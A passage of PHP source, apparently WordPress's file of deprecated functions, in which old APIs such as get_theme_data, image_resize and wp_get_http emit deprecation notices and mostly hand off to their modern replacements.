 * @deprecated 3.4.0 Use add_custom_background()
 * @see add_custom_background()
 *
 * @return null|bool Whether support was removed.
 */
function remove_custom_background() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-background\' )' );
	return remove_theme_support( 'custom-background' );
}

/**
 * Retrieve theme data from parsed theme file.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @param string $theme_file Theme file path.
 * @return array Theme data.
 */
function get_theme_data( $theme_file ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );
	$theme = new WP_Theme( wp_basename( dirname( $theme_file ) ), dirname( dirname( $theme_file ) ) );

	$theme_data = array(
		'Name' => $theme->get('Name'),
		'URI' => $theme->display('ThemeURI', true, false),
		'Description' => $theme->display('Description', true, false),
		'Author' => $theme->display('Author', true, false),
		'AuthorURI' => $theme->display('AuthorURI', true, false),
		'Version' => $theme->get('Version'),
		'Template' => $theme->get('Template'),
		'Status' => $theme->get('Status'),
		'Tags' => $theme->get('Tags'),
		'Title' => $theme->get('Name'),
		'AuthorName' => $theme->get('Author'),
	);

	foreach ( apply_filters( 'extra_theme_headers', array() ) as $extra_header ) {
		if ( ! isset( $theme_data[ $extra_header ] ) )
			$theme_data[ $extra_header ] = $theme->get( $extra_header );
	}

	return $theme_data;
}

/**
 * Alias of update_post_cache().
 *
 * @see update_post_cache() Posts and pages are the same, alias is intentional
 *
 * @since 1.5.1
 * @deprecated 3.4.0 Use update_post_cache()
 * @see update_post_cache()
 *
 * @param array $pages list of page objects
 */
function update_page_cache( &$pages ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'update_post_cache()' );

	update_post_cache( $pages );
}

/**
 * Will clean the page in the cache.
 *
 * Clean (read: delete) page from cache that matches $id. Will also clean cache
 * associated with 'all_page_ids' and 'get_pages'.
 *
 * @since 2.0.0
 * @deprecated 3.4.0 Use clean_post_cache
 * @see clean_post_cache()
 *
 * @param int $id Page ID to clean
 */
function clean_page_cache( $id ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'clean_post_cache()' );

	clean_post_cache( $id );
}

/**
 * Retrieve nonce action "Are you sure" message.
 *
 * Deprecated in 3.4.1 and 3.5.0. Backported to 3.3.3.
 *
 * @since 2.0.4
 * @deprecated 3.4.1 Use wp_nonce_ays()
 * @see wp_nonce_ays()
 *
 * @param string $action Nonce action.
 * @return string Are you sure message.
 */
function wp_explain_nonce( $action ) {
	_deprecated_function( __FUNCTION__, '3.4.1', 'wp_nonce_ays()' );
	return __( 'Are you sure you want to do this?' );
}

/**
 * Display "sticky" CSS class, if a post is sticky.
 *
 * @since 2.7.0
 * @deprecated 3.5.0 Use post_class()
 * @see post_class()
 *
 * @param int $post_id An optional post ID.
 */
function sticky_class( $post_id = null ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'post_class()' );
	if ( is_sticky( $post_id ) )
		echo ' sticky';
}

/**
 * Retrieve post ancestors.
 *
 * This is no longer needed as WP_Post lazy-loads the ancestors
 * property with get_post_ancestors().
 *
 * @since 2.3.4
 * @deprecated 3.5.0 Use get_post_ancestors()
 * @see get_post_ancestors()
 *
 * @param WP_Post $post Post object, passed by reference (unused).
 */
function _get_post_ancestors( &$post ) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * Load an image from a string, if PHP supports it.
 *
 * @since 2.1.0
 * @deprecated 3.5.0 Use wp_get_image_editor()
 * @see wp_get_image_editor()
 *
 * @param string $file Filename of the image to load.
 * @return resource|GdImage|string The resulting image resource or GdImage instance on success,
 *                                 error string on failure.
 */
function wp_load_image( $file ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );

	if ( is_numeric( $file ) )
		$file = get_attached_file( $file );

	if ( ! is_file( $file ) ) {
		/* translators: %s: File name. */
		return sprintf( __( 'File &#8220;%s&#8221; does not exist?' ), $file );
	}

	if ( ! function_exists('imagecreatefromstring') )
		return __('The GD image library is not installed.');

	// Set artificially high because GD uses uncompressed images in memory.
	wp_raise_memory_limit( 'image' );

	$image = imagecreatefromstring( file_get_contents( $file ) );

	if ( ! is_gd_image( $image ) ) {
		/* translators: %s: File name. */
		return sprintf( __( 'File &#8220;%s&#8221; is not an image.' ), $file );
	}

	return $image;
}

/**
 * Scale down an image to fit a particular size and save a new copy of the image.
 *
 * The PNG transparency will be preserved using the function, as well as the
 * image type. If the file going in is PNG, then the resized image is going to
 * be PNG. The only supported image types are PNG, GIF, and JPEG.
 *
 * Some functionality requires API to exist, so some PHP version may lose out
 * support. This is not the fault of WordPress (where functionality is
 * downgraded, not actual defects), but of your PHP version.
 *
 * @since 2.5.0
 * @deprecated 3.5.0 Use wp_get_image_editor()
 * @see wp_get_image_editor()
 *
 * @param string $file         Image file path.
 * @param int    $max_w        Maximum width to resize to.
 * @param int    $max_h        Maximum height to resize to.
 * @param bool   $crop         Optional. Whether to crop image or resize. Default false.
 * @param string $suffix       Optional. File suffix. Default null.
 * @param string $dest_path    Optional. New image file path. Default null.
 * @param int    $jpeg_quality Optional. Image quality percentage. Default 90.
 * @return mixed WP_Error on failure. String with new destination path.
 */
function image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );

	$editor = wp_get_image_editor( $file );
	if ( is_wp_error( $editor ) )
		return $editor;
	$editor->set_quality( $jpeg_quality );

	$resized = $editor->resize( $max_w, $max_h, $crop );
	if ( is_wp_error( $resized ) )
		return $resized;

	$dest_file = $editor->generate_filename( $suffix, $dest_path );
	$saved = $editor->save( $dest_file );

	if ( is_wp_error( $saved ) )
		return $saved;

	return $dest_file;
}

/**
 * Retrieve a single post, based on post ID.
 *
 * Has categories in 'post_category' property or key. Has tags in 'tags_input'
 * property or key.
 *
 * @since 1.0.0
 * @deprecated 3.5.0 Use get_post()
 * @see get_post()
 *
 * @param int $postid Post ID.
 * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A.
 * @return WP_Post|null Post object or array holding post contents and information
 */
function wp_get_single_post( $postid = 0, $mode = OBJECT ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );
	return get_post( $postid, $mode );
}

/**
 * Check that the user login name and password is correct.
 *
 * @since 0.71
 * @deprecated 3.5.0 Use wp_authenticate()
 * @see wp_authenticate()
 *
 * @param string $user_login User name.
 * @param string $user_pass User password.
 * @return bool False if does not authenticate, true if username and password authenticates.
 */
function user_pass_ok($user_login, $user_pass) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_authenticate()' );
	$user = wp_authenticate( $user_login, $user_pass );
	if ( is_wp_error( $user ) )
		return false;

	return true;
}

/**
 * Callback formerly fired on the save_post hook. No longer needed.
 *
 * @since 2.3.0
 * @deprecated 3.5.0
 */
function _save_post_hook() {}

/**
 * Check if the installed version of GD supports particular image type
 *
 * @since 2.9.0
 * @deprecated 3.5.0 Use wp_image_editor_supports()
 * @see wp_image_editor_supports()
 *
 * @param string $mime_type
 * @return bool
 */
function gd_edit_image_support($mime_type) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_image_editor_supports()' );

	if ( function_exists('imagetypes') ) {
		switch( $mime_type ) {
			case 'image/jpeg':
				return (imagetypes() & IMG_JPG) != 0;
			case 'image/png':
				return (imagetypes() & IMG_PNG) != 0;
			case 'image/gif':
				return (imagetypes() & IMG_GIF) != 0;
			case 'image/webp':
				return (imagetypes() & IMG_WEBP) != 0;
			case 'image/avif':
				return (imagetypes() & IMG_AVIF) != 0;
			}
	} else {
		switch( $mime_type ) {
			case 'image/jpeg':
				return function_exists('imagecreatefromjpeg');
			case 'image/png':
				return function_exists('imagecreatefrompng');
			case 'image/gif':
				return function_exists('imagecreatefromgif');
			case 'image/webp':
				return function_exists('imagecreatefromwebp');
			case 'image/avif':
				return function_exists('imagecreatefromavif');
		}
	}
	return false;
}

/**
 * Converts an integer byte value to a shorthand byte value.
 *
 * @since 2.3.0
 * @deprecated 3.6.0 Use size_format()
 * @see size_format()
 *
 * @param int $bytes An integer byte value.
 * @return string A shorthand byte value.
 */
function wp_convert_bytes_to_hr( $bytes ) {
	_deprecated_function( __FUNCTION__, '3.6.0', 'size_format()' );

	$units = array( 0 => 'B', 1 => 'KB', 2 => 'MB', 3 => 'GB', 4 => 'TB' );
	$log   = log( $bytes, KB_IN_BYTES );
	$power = ! is_nan( $log ) && ! is_infinite( $log ) ? (int) $log : 0;
	$size  = KB_IN_BYTES ** ( $log - $power );

	if ( ! is_nan( $size ) && array_key_exists( $power, $units ) ) {
		$unit = $units[ $power ];
	} else {
		$size = $bytes;
		$unit = $units[0];
	}

	return $size . $unit;
}

/**
 * Formerly used internally to tidy up the search terms.
 *
 * @since 2.9.0
 * @access private
 * @deprecated 3.7.0
 *
 * @param string $t Search terms to "tidy", e.g. trim.
 * @return string Trimmed search terms.
 */
function _search_terms_tidy( $t ) {
	_deprecated_function( __FUNCTION__, '3.7.0' );
	return trim( $t, "\"'\n\r " );
}

/**
 * Determine if TinyMCE is available.
 *
 * Checks to see if the user has deleted the tinymce files to slim down
 * their WordPress installation.
 *
 * @since 2.1.0
 * @deprecated 3.9.0
 *
 * @return bool Whether TinyMCE exists.
 */
function rich_edit_exists() {
	global $wp_rich_edit_exists;
	_deprecated_function( __FUNCTION__, '3.9.0' );

	if ( ! isset( $wp_rich_edit_exists ) )
		$wp_rich_edit_exists = file_exists( ABSPATH . WPINC . '/js/tinymce/tinymce.js' );

	return $wp_rich_edit_exists;
}

/**
 * Old callback for tag link tooltips.
 *
 * @since 2.7.0
 * @access private
 * @deprecated 3.9.0
 *
 * @param int $count Number of topics.
 * @return int Number of topics.
 */
function default_topic_count_text( $count ) {
	return $count;
}

/**
 * Formerly used to escape strings before inserting into the DB.
 *
 * Has not performed this function for many, many years. Use wpdb::prepare() instead.
 *
 * @since 0.71
 * @deprecated 3.9.0
 *
 * @param string $content The text to format.
 * @return string The very same text.
 */
function format_to_post( $content ) {
	_deprecated_function( __FUNCTION__, '3.9.0' );
	return $content;
}

/**
 * Formerly used to escape strings before searching the DB. It was poorly documented and never worked as described.
 *
 * @since 2.5.0
 * @deprecated 4.0.0 Use wpdb::esc_like()
 * @see wpdb::esc_like()
 *
 * @param string $text The text to be escaped.
 * @return string text, safe for inclusion in LIKE query.
 */
function like_escape($text) {
	_deprecated_function( __FUNCTION__, '4.0.0', 'wpdb::esc_like()' );
	return str_replace( array( "%", "_" ), array( "\\%", "\\_" ), $text );
}

/**
 * Determines if the URL can be accessed over SSL.
 *
 * Determines if the URL can be accessed over SSL by using the WordPress HTTP API to access
 * the URL using https as the scheme.
 *
 * @since 2.5.0
 * @deprecated 4.0.0
 *
 * @param string $url The URL to test.
 * @return bool Whether SSL access is available.
 */
function url_is_accessable_via_ssl( $url ) {
	_deprecated_function( __FUNCTION__, '4.0.0' );

	$response = wp_remote_get( set_url_scheme( $url, 'https' ) );

	if ( !is_wp_error( $response ) ) {
		$status = wp_remote_retrieve_response_code( $response );
		if ( 200 == $status || 401 == $status ) {
			return true;
		}
	}

	return false;
}

/**
 * Start preview theme output buffer.
 *
 * Will only perform task if the user has permissions and template and preview
 * query variables exist.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 */
function preview_theme() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
}

/**
 * Private function to modify the current template when previewing a theme
 *
 * @since 2.9.0
 * @deprecated 4.3.0
 * @access private
 *
 * @return string
 */
function _preview_theme_template_filter() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Private function to modify the current stylesheet when previewing a theme
 *
 * @since 2.9.0
 * @deprecated 4.3.0
 * @access private
 *
 * @return string
 */
function _preview_theme_stylesheet_filter() {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Callback function for ob_start() to capture all links in the theme.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 * @access private
 *
 * @param string $content
 * @return string
 */
function preview_theme_ob_filter( $content ) {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return $content;
}

/**
 * Manipulates preview theme links in order to control and maintain location.
 *
 * Callback function for preg_replace_callback() to accept and filter matches.
 *
 * @since 2.6.0
 * @deprecated 4.3.0
 * @access private
 *
 * @param array $matches
 * @return string
 */
function preview_theme_ob_filter_callback( $matches ) {
	_deprecated_function( __FUNCTION__, '4.3.0' );
	return '';
}

/**
 * Formats text for the rich text editor.
 *
 * The {@see 'richedit_pre'} filter is applied here. If `$text` is empty the filter will
 * be applied to an empty string.
 *
 * @since 2.0.0
 * @deprecated 4.3.0 Use format_for_editor()
 * @see format_for_editor()
 *
 * @param string $text The text to be formatted.
 * @return string The formatted text after filter is applied.
 */
function wp_richedit_pre($text) {
	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );

	if ( empty( $text ) ) {
		/**
		 * Filters text returned for the rich text editor.
		 *
		 * This filter is first evaluated, and the value returned, if an empty string
		 * is passed to wp_richedit_pre(). If an empty string is passed, it results
		 * in a break tag and line feed.
		 *
		 * If a non-empty string is passed, the filter is evaluated on the wp_richedit_pre()
		 * return after being formatted.
		 *
		 * @since 2.0.0
		 * @deprecated 4.3.0
		 *
		 * @param string $output Text for the rich text editor.
		 */
		return apply_filters( 'richedit_pre', '' );
	}

	$output = convert_chars($text);
	$output = wpautop($output);
	$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) );

	/** This filter is documented in wp-includes/deprecated.php */
	return apply_filters( 'richedit_pre', $output );
}

/**
 * Formats text for the HTML editor.
 *
 * Unless $output is empty it will pass through htmlspecialchars before the
 * {@see 'htmledit_pre'} filter is applied.
 *
 * @since 2.5.0
 * @deprecated 4.3.0 Use format_for_editor()
 * @see format_for_editor()
 *
 * @param string $output The text to be formatted.
 * @return string Formatted text after filter applied.
 */
function wp_htmledit_pre($output) {
	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );

	if ( !empty($output) )
		$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); // Convert only '< > &'.

	/**
	 * Filters the text before it is formatted for the HTML editor.
	 *
	 * @since 2.5.0
	 * @deprecated 4.3.0
	 *
	 * @param string $output The HTML-formatted text.
	 */
	return apply_filters( 'htmledit_pre', $output );
}

/**
 * Retrieve permalink from post ID.
 *
 * @since 1.0.0
 * @deprecated 4.4.0 Use get_permalink()
 * @see get_permalink()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string|false
 */
function post_permalink( $post = 0 ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'get_permalink()' );

	return get_permalink( $post );
}

/**
 * Perform a HTTP HEAD or GET request.
 *
 * If $file_path is a writable filename, this will do a GET request and write
 * the file to that path.
 *
 * @since 2.5.0
 * @deprecated 4.4.0 Use WP_Http
 * @see WP_Http
 *
 * @param string      $url       URL to fetch.
 * @param string|bool $file_path Optional. File path to write request to. Default false.
 * @param int         $red       Optional. The number of Redirects followed, Upon 5 being hit,
 *                               returns false. Default 1.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure.
 */
function wp_get_http( $url, $file_path = false, $red = 1 ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'WP_Http' );

	// Add 60 seconds to the script timeout to ensure the remote request has enough time.
	if ( function_exists( 'set_time_limit' ) ) {
		@set_time_limit( 60 );
	}

	if ( $red > 5 )
		return false;

	$options = array();
	$options['redirection'] = 5;

	if ( false == $file_path )
		$options['method'] = 'HEAD';
	else
		$options['method'] = 'GET';

	$response = wp_safe_remote_request( $url, $options );

	if ( is_wp_error( $response ) )
		return false;

	$headers = wp_remote_retrieve_headers( $response );
	$headers['response'] = wp_remote_retrieve_response_code( $response );

	// WP_HTTP no longer follows redirects for HEAD requests.
	if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
		return wp_get_http( $headers['location'], $file_path, ++$red );
	}

	if ( false == $file_path )
		return $headers;

	// GET request - write it to the supplied filename.
	$out_fp = fopen($file_path, 'w');
	if ( !$out_fp )
		return $headers;

	fwrite( $out_fp,  wp_remote_retrieve_body( $response ) );
	fclose($out_fp);
	clearstatcache();

	return $headers;
}

/**
 * Whether SSL login should be forced.
 *
 * @since 2.6.0
 * @deprecated 4.4.0 Use force_ssl_admin()
 * @see force_ssl_admin()
 *
 * @param string|bool $force Optional Whether to force SSL login. Default null.
 * @return bool True if forced, false if not forced.
 */
function force_ssl_login( $force = null ) {
	_deprecated_function( __FUNCTION__, '4.4.0', 'force_ssl_admin()' );
	return force_ssl_admin( $force );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * @since 1.5.0
 * @deprecated 4.5.0
 *
 * @return string Full path to comments popup template file.
 */
function get_comments_popup_template() {
	_deprecated_function( __FUNCTION__, '4.5.0' );

	return '';
}

/**
 * Determines whether the current URL is within the comments popup window.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 * @deprecated 4.5.0
 *
 * @return false Always returns false.
 */
function is_comments_popup() {
	_deprecated_function( __FUNCTION__, '4.5.0' );

	return false;
}

/**
 * Display the JS popup script to show a comment.
 *
 * @since 0.71
 * @deprecated 4.5.0
 */
function comments_popup_script() {
	_deprecated_function( __FUNCTION__, '4.5.0' );
}

/**
 * Adds element attributes to open links in new tabs.
 *
 * @since 0.71
 * @deprecated 4.5.0
 *
 * @param string $text Content to replace links to open in a new tab.
 * @return string Content that has filtered links.
 */
function popuplinks( $text ) {
	_deprecated_function( __FUNCTION__, '4.5.0' );
	$text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text);
	return $text;
}

/**
 * The Google Video embed handler callback.
 *
 * Deprecated function that previously assisted in turning Google Video URLs
 * into embeds but that service has since been shut down.
 *
 * @since 2.9.0
 * @deprecated 4.6.0
 *
 * @return string An empty string.
 */
function wp_embed_handler_googlevideo( $matches, $attr, $url, $rawattr ) {
	_deprecated_function( __FUNCTION__, '4.6.0' );

	return '';
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * @since 1.5.0
 * @deprecated 4.7.0 The paged.php template is no longer part of the theme template hierarchy.
 *
 * @return string Full path to paged template file.
 */
function get_paged_template() {
	_deprecated_function( __FUNCTION__, '4.7.0' );

	return get_query_template( 'paged' );
}

/**
 * Removes the HTML JavaScript entities found in early versions of Netscape 4.
 *
 * Previously, this function was pulled in from the original
 * import of kses and removed a specific vulnerability only
 * existent in early version of Netscape 4. However, this
 * vulnerability never affected any other browsers and can
 * be considered safe for the modern web.
 *
 * The regular expression which sanitized this vulnerability
 * has been removed in consideration of the performance and
 * energy demands it placed, now merely passing through its
 * input to the return.
 *
 * @since 1.0.0
 * @deprecated 4.7.0 Officially dropped security support for Netscape 4.
 *
 * @param string $content
 * @return string
 */
function wp_kses_js_entities( $content ) {
	_deprecated_function( __FUNCTION__, '4.7.0' );

	return preg_replace( '%&\s*\{[^}]*(\}\s*;?|$)%', '', $content );
}

/**
 * Sort categories by ID.
 *
 * Used by usort() as a callback, should not be used directly. Can actually be
 * used to sort any term object.
 *
 * @since 2.3.0
 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @param object $a
 * @param object $b
 * @return int
 */
function _usort_terms_by_ID( $a, $b ) {
	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	if ( $a->term_id > $b->term_id )
		return 1;
	elseif ( $a->term_id < $b->term_id )
		return -1;
	else
		return 0;
}

/**
 * Sort categories by name.
 *
 * Used by usort() as a callback, should not be used directly. Can actually be
 * used to sort any term object.
 *
 * @since 2.3.0
 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @param object $a
 * @param object $b
 * @return int
 */
function _usort_terms_by_name( $a, $b ) {
	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	return strcmp( $a->name, $b->name );
}

/**
 * Sort menu items by the desired key.
 *
 * @since 3.0.0
 * @deprecated 4.7.0 Use wp_list_sort()
 * @access private
 *
 * @global string $_menu_item_sort_prop
 *
 * @param object $a The first object to compare
 * @param object $b The second object to compare
 * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b.
 */
function _sort_nav_menu_items( $a, $b ) {
	global $_menu_item_sort_prop;

	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );

	if ( empty( $_menu_item_sort_prop ) )
		return 0;

	if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) )
		return 0;

	$_a = (int) $a->$_menu_item_sort_prop;
	$_b = (int) $b->$_menu_item_sort_prop;

	if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop )
		return 0;
	elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop )
		return $_a < $_b ? -1 : 1;
	else
		return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop );
}

/**
 * Retrieves the Press This bookmarklet link.
 *
 * @since 2.6.0
 * @deprecated 4.9.0
 * @return string
 */
function get_shortcut_link() {
	_deprecated_function( __FUNCTION__, '4.9.0' );

	$link = '';

	/**
	 * Filters the Press This bookmarklet link.
	 *
	 * @since 2.6.0
	 * @deprecated 4.9.0
	 *
	 * @param string $link The Press This bookmarklet link.
	 */
	return apply_filters( 'shortcut_link', $link );
}

/**
 * Ajax handler for saving a post from Press This.
 *
 * @since 4.2.0
 * @deprecated 4.9.0
 */
function wp_ajax_press_this_save_post() {
	_deprecated_function( __FUNCTION__, '4.9.0' );
	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
		include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php';
		$wp_press_this = new WP_Press_This_Plugin();
		$wp_press_this->save_post();
	} else {
		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
	}
}

/**
 * Ajax handler for creating new category from Press This.
 *
 * @since 4.2.0
 * @deprecated 4.9.0
 */
function wp_ajax_press_this_add_category() {
	_deprecated_function( __FUNCTION__, '4.9.0' );
	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
		include WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php';
		$wp_press_this = new WP_Press_This_Plugin();
		$wp_press_this->add_category();
	} else {
		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
	}
}

/**
 * Return the user request object for the specified request ID.
 *
 * @since 4.9.6
 * @deprecated 5.4.0 Use wp_get_user_request()
 * @see wp_get_user_request()
 *
 * @param int $request_id The ID of the user request.
 * @return WP_User_Request|false
 */
function wp_get_user_request_data( $request_id ) {
	_deprecated_function( __FUNCTION__, '5.4.0', 'wp_get_user_request()' );
	return wp_get_user_request( $request_id );
}

/**
 * Filters 'img' elements in post content to add 'srcset' and 'sizes' attributes.
 *
 * @since 4.4.0
 * @deprecated 5.5.0
 *
 * @see wp_image_add_srcset_and_sizes()
 *
 * @param string $content The raw post content to be filtered.
 * @return string Converted content with 'srcset' and 'sizes' attributes added to images.
 */
function wp_make_content_images_responsive( $content ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'wp_filter_content_tags()' );

	// This will also add the `loading` attribute to `img` tags, if enabled.
	return wp_filter_content_tags( $content );
}

/**
 * Turn register globals off.
 *
 * @since 2.1.0
 * @access private
 * @deprecated 5.5.0
 */
function wp_unregister_GLOBALS() {
	// register_globals was deprecated in PHP 5.3 and removed entirely in PHP 5.4.
	_deprecated_function( __FUNCTION__, '5.5.0' );
}

/**
 * Does comment contain disallowed characters or words.
 *
 * @since 1.5.0
 * @deprecated 5.5.0 Use wp_check_comment_disallowed_list() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param string $author The author of the comment
 * @param string $email The email of the comment
 * @param string $url The url used in the comment
 * @param string $comment The comment content
 * @param string $user_ip The comment author's IP address
 * @param string $user_agent The author's browser user agent
 * @return bool True if comment contains disallowed content, false if comment does not
 */
function wp_blacklist_check( $author, $email, $url, $comment, $user_ip, $user_agent ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'wp_check_comment_disallowed_list()' );

	return wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent );
}

/**
 * Filters out `register_meta()` args based on an allowed list.
 *
 * `register_meta()` args may change over time, so requiring the allowed list
 * to be explicitly turned off is a warranty seal of sorts.
 *
 * @access private
 * @since 4.6.0
 * @deprecated 5.5.0 Use _wp_register_meta_args_allowed_list() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array $args         Arguments from `register_meta()`.
 * @param array $default_args Default arguments for `register_meta()`.
 * @return array Filtered arguments.
 */
function _wp_register_meta_args_whitelist( $args, $default_args ) {
	_deprecated_function( __FUNCTION__, '5.5.0', '_wp_register_meta_args_allowed_list()' );

	return _wp_register_meta_args_allowed_list( $args, $default_args );
}

/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 2.7.0
 * @deprecated 5.5.0 Use add_allowed_options() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array        $new_options
 * @param string|array $options
 * @return array
 */
function add_option_whitelist( $new_options, $options = '' ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'add_allowed_options()' );

	return add_allowed_options( $new_options, $options );
}

/**
 * Removes a list of options from the allowed options list.
 *
 * @since 2.7.0
 * @deprecated 5.5.0 Use remove_allowed_options() instead.
 *                   Please consider writing more inclusive code.
 *
 * @param array        $del_options
 * @param string|array $options
 * @return array
 */
function remove_option_whitelist( $del_options, $options = '' ) {
	_deprecated_function( __FUNCTION__, '5.5.0', 'remove_allowed_options()' );

	return remove_allowed_options( $del_options, $options );
}

/**
 * Adds slashes to only string values in an array of values.
 *
 * This should be used when preparing data for core APIs that expect slashed data.
 * This should not be used to escape data going directly into an SQL query.
 *
 * @since 5.3.0
 * @deprecated 5.6.0 Use wp_slash()
 *
 * @see wp_slash()
 *
 * @param mixed $value Scalar or array of scalars.
 * @return mixed Slashes $value
 */
function wp_slash_strings_only( $value ) {
	return map_deep( $value, 'addslashes_strings_only' );
}

/**
 * Adds slashes only if the provided value is a string.
 *
 * @since 5.3.0
 * @deprecated 5.6.0
 *
 * @see wp_slash()
 *
 * @param mixed $value
 * @return mixed
 */
function addslashes_strings_only( $value ) {
	return is_string( $value ) ? addslashes( $value ) : $value;
}

/**
 * Displays a `noindex` meta tag if required by the blog configuration.
 *
 * If a blog is marked as not being public then the `noindex` meta tag will be
 * output to tell web robots not to index the page content.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'noindex' );
 *
 * @see wp_no_robots()
 *
 * @since 2.1.0
 * @deprecated 5.7.0 Use wp_robots_noindex() instead on 'wp_robots' filter.
 */
function noindex() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_noindex()' );

	// If the blog is not public, tell robots to go away.
	if ( '0' == get_option( 'blog_public' ) ) {
		wp_no_robots();
	}
}

/**
 * Display a `noindex` meta tag.
 *
 * Outputs a `noindex` meta tag that tells web robots not to index the page content.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_no_robots' );
 *
 * @since 3.3.0
 * @since 5.3.0 Echo `noindex,nofollow` if search engine visibility is discouraged.
 * @deprecated 5.7.0 Use wp_robots_no_robots() instead on 'wp_robots' filter.
 */
function wp_no_robots() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_no_robots()' );

	if ( get_option( 'blog_public' ) ) {
		echo "<meta name='robots' content='noindex,follow' />\n";
		return;
	}

	echo "<meta name='robots' content='noindex,nofollow' />\n";
}

/**
 * Display a `noindex,noarchive` meta tag and referrer `strict-origin-when-cross-origin` meta tag.
 *
 * Outputs a `noindex,noarchive` meta tag that tells web robots not to index or cache the page content.
 * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
 * the full URL as a referrer to other sites when cross-origin assets are loaded.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'wp_sensitive_page_meta' );
 *
 * @since 5.0.1
 * @deprecated 5.7.0 Use wp_robots_sensitive_page() instead on 'wp_robots' filter
 *                   and wp_strict_cross_origin_referrer() on 'wp_head' action.
 *
 * @see wp_robots_sensitive_page()
 */
function wp_sensitive_page_meta() {
	_deprecated_function( __FUNCTION__, '5.7.0', 'wp_robots_sensitive_page()' );

	?>
	<meta name='robots' content='noindex,noarchive' />
	<?php
	wp_strict_cross_origin_referrer();
}

/**
 * Render inner blocks from the `core/columns` block for generating an excerpt.
 *
 * @since 5.2.0
 * @access private
 * @deprecated 5.8.0 Use _excerpt_render_inner_blocks() introduced in 5.8.0.
 *
 * @see _excerpt_render_inner_blocks()
 *
 * @param array $columns        The parsed columns block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 */
function _excerpt_render_inner_columns_blocks( $columns, $allowed_blocks ) {
	_deprecated_function( __FUNCTION__, '5.8.0', '_excerpt_render_inner_blocks()' );

	return _excerpt_render_inner_blocks( $columns, $allowed_blocks );
}

/**
 * Renders the duotone filter SVG and returns the CSS filter property to
 * reference the rendered SVG.
 *
 * @since 5.9.0
 * @deprecated 5.9.1 Use wp_get_duotone_filter_property() introduced in 5.9.1.
 *
 * @see wp_get_duotone_filter_property()
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property.
 */
function wp_render_duotone_filter_preset( $preset ) {
